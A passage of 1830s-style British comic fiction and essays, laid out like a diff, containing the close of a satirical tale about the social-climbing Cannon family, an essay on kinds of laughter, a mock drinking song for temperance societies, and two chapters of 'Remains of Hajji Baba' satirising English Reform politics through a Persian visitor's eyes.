+"Once more, sir, every one has a right to do what he likes with his
+own."
+
+"Then, let me tell you, sir," replied Mr. Cannon, in a paroxysm of
+rage, "that there cudgel is my own, and suppose I knocked you down with
+it? This here foot is my own, and suppose I kicked you out of my house,
+Mr. Thingembob?"
+
+"In that case," replied Carrydot, with a tranquillity which would have
+made Job himself smash all his crockery,--"In that case, sir, if you
+made use of that _there_ cudgel, as you call it, the law would soon
+make you _cut your stick_; and if you did make the aforesaid use of
+that _there_ foot, unless you took _leg-bail_, you should pay dearly
+for the experiment."
+
+So saying, Mr. Carrydot took an enormous pinch of snuff, clapped on his
+broad beaver with forensic dignity, pulled up his coat-sleeves still
+higher with a twisting thrust of the hand, ready for anything--as the
+Irish say--from pitch-and-toss to manslaughter, and bidding Cannon, in
+a vulgar language unbecoming a solicitor, to prepare "to tip his rags
+a gallop by roast-goose time," which in the dignified metaphorical
+phraseology of the bar meaneth Michaelmas, he left Commodus Cannon to
+his deep reflections.
+
+He was roused from this apathetic state by the entrance of Mrs. Cannon.
+"Well, sir?" said she, in an anxious tone. "Well, sir?"
+
+"Mrs. Cannon, I regret it, but we _must_ have a revolution in this here
+slavish, this here degraded country!"
+
+"Lord-a-mercy! what has happened?" replied his affrighted lady.
+
+"It is not what has happened, madam," replied the regenerated
+free-born Briton; "it is what shall happen. By gums!--(he was already
+beginning to be somewhat puritanical and sanctified; the day before,
+nay, a few moments previous to Carrydot's entrance, he would have
+sworn by G--, like any duke or marquis,)--by gums! this here proud
+big-wig aristocracy must be brought down; nothing can save poor
+England but the abolition of this insolent peerage, these hereditary
+law-makers from father to son. I say, no peers! no bishops! no lords!
+a yearly parliament! universal sufferance!--(it is presumed he meant
+suffrage,)--vote by ballot! Throw up your pew, Mrs. Cannon! kick the
+tax-gatherer down stairs! I'll kick the fat gold-laced beadle myself!
+and tell Parson Muzzle that he's a humbug and a leech!"
+
+Mrs. Cannon, and all the Cannons, great-guns and small-arms, were
+terrified, and fancied the worthy man was out of his senses. She
+proposed to send for Mr. Hiccup.
+
+"Hiccup be d--d! Do you think, woman, that Hiccup would condescend to
+come to you and me were we kicking in fits, dying with the pip, or had
+swallowed a mutton-chop the wrong way? Hiccup is with his lordship,
+with the Most noble, the Right honourable the Earl of Wittington, the
+Right honourable the Lady Tabby Catson! If their noble fingers ached,
+'twould be in the Gazette, so it would. If they got a surfeit from
+cramming turtle down their noble throats, it would be in the papers!
+Hiccup! the rascal! the Tory pill-gilder! wouldn't give a commoner, an
+independent citizen, or an honest pauper, second-hand physic if a lord
+wanted him! No, not to save a fellow Christian's life!"
+
+All this was inexplicable to the open-mouthed and alarmed family, when
+a sudden burst of tears followed this violent paroxysm; and the Cannon
+circle, drawing round their chief with becoming uneasiness, were soon
+made _au fait_ to the full extent of the fresh indignities offered
+their name and fame.
+
+What was to be done? To remain at Wick-Hall after such an insult would
+have been the height of degradation; to keep possession of it at the
+expense of conscience by voting for Mr. Eelback, an abnegation of a
+freeman's independence. All was doubt; and the thoughts of the Cannon
+family were, to use the words of Otway,
+
+        "Like birds, that, frighted from their rest,
+    Around the place where all was hush'd before,
+    Flutter, and hardly flutter, and hardly settle anywhere,"
+
+when another nerve-upsetting rapping at the hall once more interrupted
+the busy circle. Mr. and Mrs. Grits were announced.
+
+"Who is Mr. Grits?" exclaimed Mrs. Cannon.
+
+The question was answered by Mrs. Grits in person; and in her, to
+her utter horror, Mrs. Cannon recognised the daughter of Mr. Suet, a
+carcase butcher, who had lived near them when Mr. C. was in the tallow
+line.
+
+To see her at Muckford appeared to Mrs. Cannon as wonderful as though
+she had beheld the spirits of all the bullocks Mr. Suet had ever
+slaughtered scampering about Smithfield. The ex-Miss Suet explained
+matters. She had married Mr. Grits, a grocer, who had failed thrice,
+once a bankrupt, and twice an insolvent, by which means he had realised
+a tolerable independence; yet, for appearance sake, he preferred
+improving his condition with the means of others, and had travelled
+abroad as a _maître d'hôtel_, with the Wittingtons.
+
+At another time,--nay, a few hours before their visit,--the Grits would
+not have been received; now, in the distressed state of the family,
+they were welcomed with cordiality.
+
+But the mind sickens at the object of their visit,--to advise Mr.
+Cannon to accede to his lordship's proposals, and not irritate a
+powerful enemy by an idle show of independence!!--But to think of a
+reconciliation brought about by a butcher's daughter and a butler!--No,
+no, thrice no;--the breach was immeasurably widened. Mr. Cannon
+stuttered and stammered all the insults that had been heaped upon him.
+Mrs. Grits plainly saw that no pacification could be expected; and,
+although she expressed the utmost regret, she was inwardly delighted,
+as it did not exactly suit her views that she should be known to be
+a butcher's daughter. She, therefore, seizing both Mrs. Cannon's
+trembling hands in the kindest manner, attempted to console and advise
+her.
+
+"I can readily imagine, my dear friend, how much this overbearing
+conduct of my lord should have annoyed you. Oh! he is as proud as
+Lucifer when he goes to open his parliament! It is such men, my dear,
+that make me abhor this horrible England."
+
+"Ay, horrible England!" repeated Mr. Cannon with ferocity.
+
+"I have lived too long in that dear delicious France, that _belle
+France_, to exist, or rather vegetate, in this abominable country."
+
+This word, "_France_," acted like a magic spell; it seemed a password,
+a _Shibboleth_, an _open sesame_ to regions of delight.
+
+"Ay, France is the country! only ask Mr. Grits."
+
+"Oh, there's nothing like it!" responded Mr. Grits, a jolly red-faced
+fellow, with an enormous abdomen, rendered more _salient_ by a flapped
+white waistcoat.
+
+"And such society, oh! such an opening for young people, oh! No one
+asks who and what you are, only have the caraways! Lord bless me!
+there was Mrs. Triplet, the pawnbroker of Islington's wife, married
+her daughter Peg to a French count; and Mr. Rumstuff, the tailor in
+the Minories, married his daughter to a general,--ay, a real general;
+and then, such living, and such society, and such amusements! _Gardes
+du corps_ with such nice moustaches, and _pâtés de truffes_, and
+_omelettes soufflées_, and _bals champêtres_ at Tivoli, and _glasses_
+at Tortoni's, and _poulets à la crapaudine_, and _salmis de lièvre_,
+and then, the masked-balls at the opera, oh! and _des œufs à la
+neige_, and _des œufs au miroir_! How many ways have the French of
+cooking eggs, Mr. G.?"
+
+"Three hundred and forty-three, Mrs. G."
+
+"Only think of that! I make Mr. G. live upon eggs _à la coque_, _à la
+tripe_. And then meat at fourpence per pound!"
+
+"Fivepence halfpenny for prime joints, if you please, Mrs. G." added
+Mr. G.
+
+"And such poultry! such capons! You have no capons in England, my dear.
+Bless us, they don't know what's what! and so many delicious ways of
+cooking them, _chapon à la barbare_, _chapon à la Veluti_, _chapon au
+parfait amour_; and then, the Hussars, and the Lancers, and the horse
+and foot dragoons. Oh! women there may do whatever they like! and girls
+may string lovers like a _brochette of ortolans_!"
+
+In short, Mrs. Grits gave such a flattering account of France, its
+pleasures, its cookery, and its economy, that it was decided that to
+France the family should go. Mr. Cannon said he was too old to learn
+to _parlez-vous_, but the ladies procured grammars and dictionaries,
+to brush up their boarding-school education; and in ten days the whole
+family were packed up in three travelling carriages, and set out for
+Dover; their only domestics, Sam Surly, a Yorkshire coachman, and Sukey
+Simper, a Kentish maid, whom we shall again find on the road.
+
+Such is the ingratitude of mankind that all Muckford was delighted with
+their departure. "_Hurrah! All the Cannons are gone off!_" exclaimed
+Mr. Sniffnettle.
+
+Lady Tabby Catson died soon after, leaving a handsome legacy to Mr.
+Hiccup, the surgeon. Muzzle got a living, and resided at Wick-Hall,
+the name of which he changed into _Cushion-Lodge_, alluding, no doubt,
+to the _otium_ he enjoyed. Sniffnettle was made under-steward of Lord
+Wittington's estate; and Mr. Grits opened an inn at the sign of the
+_Mitre_, opposite _Cushion-Lodge_, and, as the Rev. Mr. Muzzle had been
+appointed tutor to the youngest of the honourable Catsons, whenever
+he saw the sign bearing the episcopal diadem swinging in the wind,
+despite all humility, a warrantable ambition would often lead him to an
+association of ideas in which a crosier acted as a favourite crotchet;
+nay, in his sleep sometimes Queen Mab would tickle his nose until he
+dreamt of bishopricks, _congés d'élire_, and visitation dinners, and
+then he would suddenly awake and terrify Mrs. Muzzle, roaring out "NOLO
+EPISCOPARI!"
+
+
+
+
+A CHAPTER ON LAUGHING.
+
+"And Laughter holding both his sides."--MILTON.
+
+
+If you were to ask a learned physician to explain to you the peculiar
+sensation termed laughter, it is more than likely he would astonish you
+with an amazing profundity of erudition, ending in the sage conclusion
+that he knows nothing more about the matter than that it is a very
+natural emotion of the senses, generally originating with a good
+joke, and not unfrequently terminating in a fit of indigestion. If he
+happened to be (as there are many) a priggish quack, it is not unlikely
+he would add as a sequel, that it was a most injurious and unmannerly
+indulgence, particularly favouring a determination of blood to the
+head, and decidedly calculated to injure the fine nerves of the facial
+organ! If, on the contrary, he should be a good, honest follower of
+Galen, he would not fail to pronounce it the most fearful enemy to his
+profession, as being altogether incompatible with physic and the blues,
+and, by way of illustration, he might go so far as to read a chapter of
+Tom Hood's best, in order to prove the strength of his position.
+
+Laughter--good, hearty, cheerful-hearted laughter--is the echo of
+a happy spirit, the attribute of a cloudless mind. Life without it
+were without hope, for it is the exuberance of hope. It is an emotion
+possessed by man alone,--the happy light that relieves the dark picture
+of life.
+
+We laugh most, when we are young; the thoughts are then free and
+unfettered, there is nothing to bind their fierce impulse, and we sport
+with the passions with the bold daring of ignorance. Smiles and tears,
+it has been observed, follow each other like gloom and sunshine; so
+the childish note of mirth treads on the heels of sorrow. It was but
+yesterday we noticed a little urchin writhing apparently in the agony
+of anguish; he had been punished for some trivial delinquency, and his
+little spirit resented it most gloriously. How the young dog roared!
+His little chest heaved up and down; and every blue vein on his pure
+forehead was apparent,--bursting with passion. Anon, a conciliatory
+word was addressed to him by the offended _gouvernante_; a smile passed
+over the boy's face; his little eyes, sparkling through a cloud of
+tears, were thrown upwards; a short struggle between pride and some
+other powerful feeling ensued; and then there burst forth such a peal
+of laughter, so clear, so full, so round, it would have touched the
+heart of a stoic!
+
+Our natural passions and emotions become subdued, or altogether
+changed, as we enter the world. The laugh of the schoolboy is checked
+by the frown of the master. He is acquiring wisdom, and wisdom (ye
+Gods, how dearly bought!) is incompatible with laughter. But still, at
+times, when loosened from his shackles, the pining student will burst
+forth as in days gone by: but he has no longer the cue and action
+for passion he then had; the cares of the world have already mingled
+themselves in his cup, and his young spirit is drooping beneath their
+influence. The laughter of boyhood is a merry carol; but the first rich
+blush has already passed away. The boy enters the world, full of the
+gay buoyancy of youth. He looks upon those he meets as the playmates
+of other hours. But Experience teaches him her lessons; the natural
+feelings of his heart are checked; he may laugh and talk as formerly,
+but the spell, the dreams that cast such a halo round his young days,
+are dissipated and broken.
+
+There are fifty different classes of laughers. There is your
+smooth-faced politic laugher, your laugher by rule. These beings are
+generally found within the precincts of a court, at the heels of some
+great man, to whose conduct they shape their passions as a model. Does
+his lordship say a _bon mot_, it is caught up and grinned at in every
+possible manner till, the powers of grimace expended, his lordship is
+pleased to change the subject, and strike a different chord. And it is
+not astonishing. Who would refuse to laugh for a pension of two hundred
+a year? Common gratitude demands it.
+
+There is, then, your habitual laugher, men who laugh by habit, without
+rhyme or reason. They are generally stout, piggy-faced gentlemen, who
+eat hearty suppers, and patronise free-and-easys. They will meet you
+with a grin on their countenance, which, before you have said three
+sentences, will resolve itself into a simper, and terminate finally
+in a stentorian laugh. These men may truly be said to go through life
+laughing; but habit has blunted the finer edges of their sympathies,
+and their mirth is but the unmeaning effusion of a weak spirit.
+These personages generally go off in fits of apoplexy, brought on by
+excessive laughter on a full stomach!
+
+There is, then, your discontented cynical laugher, who makes a mask of
+mirth to conceal the venom of his mind. It is a dead fraud that ought
+not to be pardoned. Speak to one of these men of happiness, virtue, &c.
+he meets you with a sneer, or a bottle-imp kind of chuckle; talk to him
+of any felicitous circumstance, he checks you with a sardonic grin,
+that freezes your best intentions. He is a type of the death's head the
+Egyptians placed at their feasts to check exuberant gaiety.
+
+There is, then, your fashionable simperer, your laugher _à-la-mode_,
+your inward digester of small jokes and tittle-tattle. _He_
+never laughs,--it is a vulgar habit; the only wonder is, that
+he eats. People, he will tell you, should overcome these vulgar
+propensities; they are abominable. A young man of this class is
+generally consumptive, his lungs have no play, he is always weak and
+narrow-chested; he vegetates till fifty, and then goes off, overcome
+with a puff of _eau de rose_, or _millefleur_, he has encountered
+accidentally from the pocket-handkerchief of a cheesemonger's wife!
+
+Last of all, there is your real, good, honest laugher; the man who has
+a heart to feel and sympathize with the joys and sorrows of others; who
+has gone through life superior to its follies, and has learnt to gather
+wisdom even from laughter. Such are the men who do honour to society,
+who have learnt to be temperate in prosperity, patient in adversity;
+and, who, having gathered experience from years, are content to drink
+the cup of life mingled as it is, to enjoy calmly the sweeter portion,
+and laugh at the bitter.
+
+There is a strange affinity in our passions. The heart will frequently
+reply to the saddest intelligence by a burst of the most unruly
+laughter, the effigy of mirth. It seems as though the passion, like
+a rude torrent, were too strong to pursue its ordinary course; but,
+breaking forth from the narrow channel that confined it, rushed forth
+in one broad impetuous stream. It is the voice of anguish that has
+chosen a different garb, and would cheat the sympathies. But we have
+ourselves been demonstrating the truth of our last proposition; for we
+have been writing on laughter till we have grown sad. But what says the
+old song?
+
+    "To-night we'll merry, merry be,
+        To-morrow we'll be sober."
+
+So sadness, after all, is but joy deferred.
+
+
+
+
+A MUSTER CHAUNT
+
+FOR THE MEMBERS OF THE TEMPERANCE SOCIETIES.
+
+
+        Wine! wine! fill up
+        The sparkling cup
+    With champagne hissing to the brim;
+    For wit, and joy, and rapture, swim
+    In bumpers. The grape's blood is mine;
+    I'll steep my heart in it till it shine
+        With the warm flush
+        The purple blush
+    Of wine!
+
+        Wine! wine! the frown
+        Of Care we'll drown
+    In deep libations to the God
+    Who planted first on Nysa's sod
+    The branches of the illustrious vine.
+    Bacchus, we worship at thy shrine!
+        In Pleasure's bowers
+        Swift fly the Hours
+    Whose wings are wash'd with wine!
+
+        Wine! wine! the brow
+        Is mantling now;
+    The eye is flashing with "the flow
+    Of soul," the cheek has caught its glow;
+    The lips are breathing words divine,
+    While wreaths of song around them twine
+        In glorious lays,
+        Chaunting the praise
+    Of racy wine!
+
+        Wine! wine! fill up
+        And quaff the cup
+    To lovely woman! Drink again
+    To all bold festive souls who drain
+    The crystal bowl, and wear the sign
+    Of bacchanals. Hurrah! we're there,
+        Thou soul of joy!
+        Immortal boy!
+    God of immortal wine!
+
+
+
+
+REMAINS OF HAJJI BABA.
+
+
+CHAPTER IX.
+
+I alighted with my friend at the caravanserai where the coach had
+stopped, and there he advised me to put up for the night, promising to
+come on the following morning to assist me in procuring a lodging.
+
+"But first tell me," said I, "who are the two persons who were so
+violently opposed to each other."
+
+"The fair man," said he, "is one of our _omrahs_ or lords; the other is
+one of the middle ranks, who has made himself conspicuous by advocating
+the cause of the people. Our whole country is principally divided into
+two factions, holding their opinions. There is also a moderate set who
+do not partake of their violence, but unfortunately their voice is not
+sufficiently heard. But we will talk more upon these matters again,"
+said he, and then left me.
+
+The next day he came, and without much difficulty succeeded in settling
+me in a lodging, where I found everything prepared to receive me, as
+well as if the Shah's chief tent-pitcher had preceded me to give the
+requisite orders. The English habits, which I had acquired when here
+before in the days of our embassy, returned as fast as I recognised
+the objects which before had been familiar to my sight, but which had
+been much obliterated by my absence in Persia. I again sat upon chairs
+instead of my heels; again I ate with knives and forks instead of my
+fingers; and once more I found myself called upon to walk about upon my
+own legs with the activity of a Franc, instead of making use of a horse
+to take me daily to attend the Shah's selam, or to sit at the Royal
+Gate in attendance upon the Grand Vizier.
+
+I had always a memory for localities; places which I had once seen I
+scarcely ever forgot; thus I was at no loss to find my way about the
+city. Of the language I remembered enough to make myself understood;
+and so far I felt independent, and needed not the attendance of
+a _mehmander_. I thanked my friend Jan for all his kindness; and
+assured him, whenever I was in any difficulty, or whenever I required
+information upon matters relating to his country, I would not fail to
+call upon him.
+
+The lodgings in which I had taken up my abode were situated in a
+large house that looked upon a garden inclosed by iron spikes. It
+was a better sort of caravanserai, greatly resorted to by people of
+all nations; Francs, from different parts of Frangistan, who spoke
+each their different language, and adapted themselves as well as they
+could to the manners of the English. I was visited by the landlord,
+a well-looking, well-spoken man, and his wife, an elderly lady, who,
+having come once to see, as the English frequently say, that I was
+comfortable, did not again trouble me by their presence. I occupied two
+rooms; one to sit in and receive my guests, the other to sleep in. My
+servant, Mahboob, slept in another room close to mine.
+
+My first care was to walk out to take a survey of the city, in order to
+discover those symptoms of ruin and poverty which I had so frequently
+been assured were spreading over England, and marking her downfall.
+I soon found myself in a street, of whose magnificence I had no
+recollection. It seemed composed of entirely new houses. The shops,
+which were opened on each side, were so brilliant, and seemed to be so
+overflowing with merchandise and riches of all sorts, that my senses
+seemed to have escaped from my head as I looked on in astonishment;
+and ever and anon I found myself standing with my finger in my mouth,
+exclaiming, "Bah! bah! bah!" "Is this decay?" thought I. "Can this
+people be really on the brink of ruin? There must be something more in
+this than I can understand." The street was positively more thronged
+with men and women than even one of the most crowded bazars of Ispahan.
+I saw more carriages, more horses, more carts, and more stir, than I
+recollected to have seen when here before. Every one seemed busy, and
+bustled along, as if all depended upon their haste. Whence they were
+coming, whither going, who could say? Were they all thinking of ruin,
+or were they bent upon happiness? I was longing to stop and ask each
+person what had happened, so very uncommon was this state of things
+compared with what I had been accustomed to witness in my own country,
+or even in the European countries through which I had travelled. I
+continued to walk through this astonishing street, thinking I should
+never come to the end of it, when I reached a magnificent opening,
+where, to my still greater astonishment, I discovered an unbounded
+prospect of dazzling white palaces, standing amidst gardens and fields,
+and looking like the habitations of the blessed in the seventh heaven
+promised to us by the Prophet. "Can this be decay?" again I exclaimed.
+"These people must have a different way of going to ruin, to the one
+which I have been accustomed to contemplate. In my country ruin speaks
+for itself. At Ispahan we see whole districts of broken walls which
+once were houses, tottering mosques, deserted baths, and untenanted
+caravanserais. But here, in the short space of twelve years, here is a
+new creation; unbounded prosperity seems here to speak for itself; and,
+if this be a country of paupers, what are we to call riches?"
+
+As I was turning my steps homewards, I was struck all at once with the
+conviction that I was near the spot (a spot which had never left my
+imagination) where, enamoured as I then was of the moonfaced Bessy,
+I proposed marriage to that heart-enslaver. I looked about me, and
+recognised the very portal where, under a mutual umbrella,--as it
+poured with rain,--I told her of my love. I recollected that, not
+very far off, in this same street, lived her father, and mother, and
+family; and I determined forthwith to seek them out, and to renew my
+acquaintance. I paced along the street, looking upon every house with
+uplifted eyes, in the hope of discovering some sign by which I might
+recognise it; but the buildings were all so hopelessly alike that I
+began to despair of hitting upon the right knocker. It came to my mind
+that a lion's head held the knocker, because I had compared it in
+former days to the face of the mamma Hogg herself; but, upon inspecting
+the knockers, they all had lions' heads. What was to be done? "I will
+try what Fate will do for me," thought I. So, judging that I was
+somewhere near the spot, I boldly walked up to a door, and gave a knock
+which, I remembered to have been told, indicated a man of consequence,
+and, as it turned out, I was not mistaken. The door was opened, not by
+a well-dressed servant, as it used to be, but by an old woman, who was
+so surprised at seeing my strange figure that she would have shut it in
+my face had I not quickly exclaimed,
+
+"Is Mr. Hogg at home?"
+
+"Mr. Hogg!" she exclaimed, in an astonished voice. "Mr. Hogg has
+been dead ever so long. Can't you see by the hatchment?" Upon which
+she pointed to a painting fixed upon the outside of the house,
+which explained to me, what I had never known before, that, when
+an Englishman dies, it is the custom to make a painting, as I
+supposed, explanatory of the history of his life; for, afterwards,
+in contemplating the said performance, I remarked a boar's head at
+the top, whilst certain little swine seemed to be scattered about,
+evidently indicating the name and origin of the family.
+
+"But Mrs. Hogg is not dead too?" said I; "where is she, and Mrs.
+Figsby?"
+
+"La! sir; you're the Persian prince, I declare," said the old woman,
+"of whom we all talk so much about." Upon which, she immediately
+undertook to give me a history of the family since I had left England.
+The father Hogg, it seems, had died not many months ago of apoplexy;
+his widow was living in a neighbouring street, in a small house, with
+her eldest daughter, who was still unmarried. Mrs. Figsby (alas! my own
+Bessy!) occupied a handsome house nearly opposite to the one at the
+door of which I now stood, and which the old woman pointed out to me;
+the youngest daughter had married, and lived in the country.
+
+Leaving the old woman, I immediately crossed the street, and knocked
+at the Figsby gate, not without a certain palpitation of the heart. It
+was opened by a brilliantly-dressed servant in a gaudy _kalaat_, with a
+thick paste of white dust upon his head, and a bunch of ropes as thick
+as tent-ropes at his shoulder. Two others stood in the hall.
+
+"Is Mrs. Figsby at home, by the blessing of the Prophet?" said I.
+
+He said "Yes," with hesitation, eyeing me well from head to foot; and,
+delivering me over to the keeping of another man without a _kalaat_,
+I was walked up stairs. When we came to the head of the stairs, he
+stopped, and asked,
+
+"Who shall I say?"
+
+"Mirza Hajji Baba," I answered, recollecting well the whole ceremonial.
+
+Upon which he opened the door, and exclaimed aloud, as well as I could
+understand, "Mister Hatchababy,"--or some such name.
+
+"Mister who?" exclaimed a female within, whom, when I entered, I
+immediately recognised to be my former love, the moonfaced Bessy. But,
+oh! now different from the lovely Bessy I had known her! Instead of
+that light cypress-waisted figure which had charmed me so much, she was
+now grown into a woman fat enough to be a Turk's wife. Her cheeks were
+rounded into coarse cushions, behind which reposed her almost secluded
+eyes. The beautiful throat of former days was scolloped into graduated
+ridges; and those arms, which formerly were lovely by themselves, were
+now so bound over with broad belts of golden bracelets, that they
+looked like the well-fitted hoops of a wine-cask. The hair, which
+flowed in ringlets over her brow and down her cheeks, was now confined
+to two lumps of curls, which were placed in a dense cluster on either
+side of her forehead; and her whole person, which formerly gave her the
+appearance of a Peri, now exhibited a surface agreeable only to the
+silk-mercer and the milliner who were called upon to clothe it.
+
+A faint blush threw itself out over her forehead when she perceived me,
+and she immediately came forward with her hand extended, and welcomed
+me back to her country with great sincerity. She expressed all sorts of
+surprises at seeing me, particularly as I had never been announced in
+the public newspapers; assured me that Mr. Figsby, who was not at home,
+would be delighted to see me; sent for her children, and exhibited a
+vast number to me of all sizes, boys and girls; and repeated to me what
+I had just heard from the old woman, the circumstances in which her
+family were placed.
+
+I expressed my satisfaction at seeing her so richly circumstanced in
+the world, and that she should have made a marriage with a man who
+seemed to be a favourite of Fortune, and whose luck appeared to be ever
+on the rise. At this she sighed, and her features assumed a saddened
+expression.
+
+"'Twas true," she said, "that Figsby could not complain, and that, as
+long as it lasted, it was all very well. But, prince!" she exclaimed,
+"this is not the country you once knew it to be! Things are sadly
+altered! The people have got a reform, 'tis true; and Figsby is
+rejoiced, and hopes to be returned for Marylebone, and, who knows
+whether he may not sit in the cabinet one of these days? But the
+aristocracy they won't be quiet, do what you will, and they will drive
+us on to a revolution at last, and oblige us to put them down, and
+divide all their property amongst us; and, you know, that will be sad
+work, particularly if Figsby should be made a lord before it takes
+place."
+
+All this was new language to me, and brought to my mind the
+conversation which I had heard in the coach. "What news is this?"
+thought I, "that women should thus talk the language of viziers, and
+mix themselves in the business of state!"
+
+"I thought that Figsby Sahib was a grocer," said I, to his much-altered
+wife.
+
+"A grocer, indeed!" said she, with considerable angry emphasis. "He is
+a West-India merchant! A grocer, indeed!"
+
+"How long is it," said I, "since he has left his private business for
+public life?"
+
+"Don't you know," said she, "the changes which have taken place since
+you were here last? Rotten boroughs and nomination boroughs have been
+abolished. Schedule A. and schedule B. have been all the fashion
+of late; we talk of nothing else; and there are to be members for
+Marylebone, and Figsby is canvassing as hard as he can; and I am sure,
+prince, if you can help him with a vote, you will."
+
+"A vote!" said I, "what does that mean?"
+
+"It means," she answered, with some hesitation, "that you wish Figsby
+may become a member of parliament, and sit in the house, and make
+speeches, and give franks, and all that."
+
+"If it is only to wish your husband may be all you desire," said I, "in
+the name of the Imams you shall have my vote, and welcome."
+
+"That's right!" said Bessy; "that's right! that's being an old friend
+in truth. I knew that you would be on the right side, and stick up for
+the people."
+
+"But who is the people? is he a new Shah, or what?"
+
+"Oh, the people!" said she; "the people! they are the sovereign people!
+They are all the men and women you see walking about; they want their
+rights--their rights--that's all!"
+
+"All the men and women walking about!" exclaimed I. "What news is this?
+They have got a king already. What do they want more?"
+
+"They have, 'tis true," said she; "but what is that without their
+rights?"
+
+"I don't know what you mean about their rights," said I; "but we have a
+Shah, and I know that if any Persian wanted anything more, and talked
+about his rights, all that he would get for his pains would be the
+_felek_--a good bastinado on the soles of his feet; that's what he
+would get."
+
+"Oh, la!" said Mrs. Figsby, "that may do for Persians, but it won't do
+for Englishmen. They must be fairly represented; and, if such men as
+Figsby are not elected, it is a great shame, and the country will go to
+rack and ruin."
+
+At this stage of our conversation a knocking at the door was heard,
+and soon after entered the moonfaced Bessy's husband. I immediately
+recognised my former rival, but great changes had taken place in his
+person also. In former days he was happy to be allowed to take the
+lowermost place in the _mejlis_ or assembly; now he walked in with an
+air of consequence and protection. He came into the room with a noise
+and bustle; his boots creaked most independently; he was all over
+chains; and seemed strangled from the tightness of his clothes. He soon
+got over his surprise at seeing me; and, before he had done shaking my
+hand, he exclaimed,
+
+"All is going as it ought to be! I have been at the meeting. I made
+such a speech, Bessy, you would have been quite charmed. There is no
+doubt of my coming in. We shall beat the Tories hollow."
+
+"That is charming!" said his overjoyed wife. "Then you will be an M.P.,
+and who knows what else! And here is the prince," said she, "who is
+ready to give you his vote."
+
+"That's right!" said the entranced grocer. "That's very kind of him!
+But stop! let me see; are you a ten-pound householder? is your name
+stuck up against the church-door? and have you paid your shilling?"
+
+"_Allah! Allah!_" I exclaimed. "What do I know of all this? I am
+nothing but a Persian Mirza. I am ignorant of your ten-pounds, your
+church-doors, and your shillings. Do leave off this child's play, and
+let us talk of other things."
+
+"Other things!" cried one.
+
+"Child's play!" exclaimed the other.
+
+"It is the only thing now thought of," said the man.
+
+"It is of the greatest consequence to the state, and to Marylebone,
+that Figsby should be elected!" vociferated the lady.
+
+I found that I had put my unlucky leg foremost on this occasion, and
+so I thought of making my retreat; but, before I did so, after having
+observed a look of recognition between husband and wife, Mr. Figsby
+stept up to me, and said,
+
+"We shall have a few of my political friends to dine with me in a few
+days; I hope, prince, that we may be honoured with your company?"
+
+I said, "_Inshallah!_ please Allah!" and then returned to my home.
+
+
+CHAPTER X.
+
+I returned to my lodging full of thought. What with the conversations
+I had heard in the coach, what with the strange sayings of Mrs. Figsby
+and her husband, I began to have my eyes a little more opened than
+they were before. I considered that, notwithstanding the flourishing
+exterior of things, and the general appearances of prosperity which
+had struck my eyes, there might be truth in the rumours which had been
+so current in Persia, that England was declining fast in greatness,
+and was on the brink of ruin. I had occasionally seen madmen in my own
+country, from whose brain all sense had fled when their minds were bent
+upon a particular subject, but who still upon others were rational, and
+acted like sane men. "May not that be the case here?" thought I; "and,
+if all the nation has run mad by one common consent upon this desire
+of change, they may have sapped the foundation of their real happiness
+and prosperity, although they still build fine houses and exhibit
+resplendent shops."
+
+I determined, in conformity to my instructions from the asylum of
+the universe, to present my letters to the English vizier; to have a
+conversation with him, and then to settle whether I should deliver
+the fortunate letter, of which I was the bearer, from the king of
+kings to the King of England. Accordingly, I proceeded to a certain
+dark and obscure street, where, on former occasions, I recollected
+the sovereign had ordered his vizier to receive the ambassadors and
+ministers of foreign powers, and there to transact their business, and,
+sure enough, I found things just as I had left them; thus far there had
+been no reform. I found no parade of guards, executioners, officers,
+or heralds; but one little man seated in a great leather chair, and
+through his interference I was introduced into a dark room, without a
+single word of welcome being said, not even "Good morning," and "Fine
+day;" and there I was left until the vizier could speak to me.
+
+I waited what appeared to me a long time,--quite long enough to
+consider, if this was an English palace, what must be an English
+prison! At length another infidel invited me to follow him, and, after
+having been paraded through a few rooms, I found myself in the presence
+of one whom I first took for the vizier, but who I soon found was
+only his deputy. He was very kind and civil, and asked my business in
+courteous language; upon which I told him that I was just arrived from
+the foot of the Persian throne, and was the bearer of a letter to the
+English vizier, as well as to his royal master. He seemed pleased at
+this information; but he asked me a question which made the wind fly
+out of my head.
+
+"Pray, sir," said he, "do you bring us any letter from our minister in
+Persia? I do not think that we have been apprised of your mission."
+
+Upon this I stroked down my beard, and, searching in the depths of
+my wit for a ready answer, I answered that I was despatched from the
+imperial stirrup as a courier, and not as a minister. "I have no letter
+but this;" upon which I drew from my breast the grand vizier's letter,
+which I delivered into his hand. He was at a loss whilst he unrolled
+it, for he evidently did not know the top from the bottom; and all
+communication must have ceased between us, had I not possessed the
+translation, which I had prudently caused to be made at Tabriz by one
+of my own countrymen who had received his education in England.
+
+This, the vizier's deputy read over very attentively; and, as he read,
+I observed certain smiles break out on his features, from which I
+augured favourably. He then desired me to wait, whilst he took up the
+papers, and left the room to lay them before his chief, saying not a
+word of his own opinion upon their contents.
+
+He soon returned, and, asking me to follow, he led the way into
+an adjacent room, where I found the English vizier in person. The
+appearance and manners of this personage were full of charm; and,
+although a man in his high office had usually the power of awing me
+into fear and diffidence of myself, still I felt no other sensations
+than what were agreeable when he addressed me.
+
+"I have been reading strange things in this letter," said the vizier.
+"I am informed that my country is on the brink of ruin, and that
+his majesty the Shah, apprehending disaster might accrue to my own
+sovereign, has been pleased to offer him an asylum at his gate."
+
+"That is, in truth, the object of my mission," said I. "You have spoken
+right."
+
+"But how," said the vizier, "has this information travelled to Persia?
+It is new to me, as it is, I believe, to every member of his majesty's
+government."
+
+"How do I know?" I answered, with some little confusion; for, in truth,
+I began to feel that I had come upon a fool's errand, and was about to
+swallow much abomination. "Our news in Persia is not printed every day
+upon paper as it is here, but comes to us as it may please the will of
+Allah! The asylum of the universe, upon whom be blessings! who knows
+all, and does all for the good of his subjects, was convinced of the
+fact; the same was confirmed by all strangers arriving at his imperial
+gate; and it was announced by the English minister himself that a great
+change was about to take place in his country; that old counsels, which
+had been followed since the recollection of the most ancient greybeards
+of the country, were about to be abolished and replaced by new; and
+that a certain thing, called People, whether man or beast we never
+could discover, was on the point of obtaining supremacy, and despoiling
+your reverend monarch, for whom the king of kings entertains the
+highest friendship, of his ancient hereditary throne."
+
+"Your news," observed the vizier, "was partly right, and partly false.
+That a change has taken place in the government of this country," said
+he, "is true; and our minister's words are confirmed. A change has
+taken place; but change does not argue total destruction."
+
+Recollecting that I was here at the fountain-head of information, and
+that the vizier's words were words to be repeated to the king of kings,
+I inquired, "As I am less than the least, may it please you to inform
+your slave what is this change?"
+
+"The principal change has been in giving the people a better means
+than they had before of making their wishes known through their
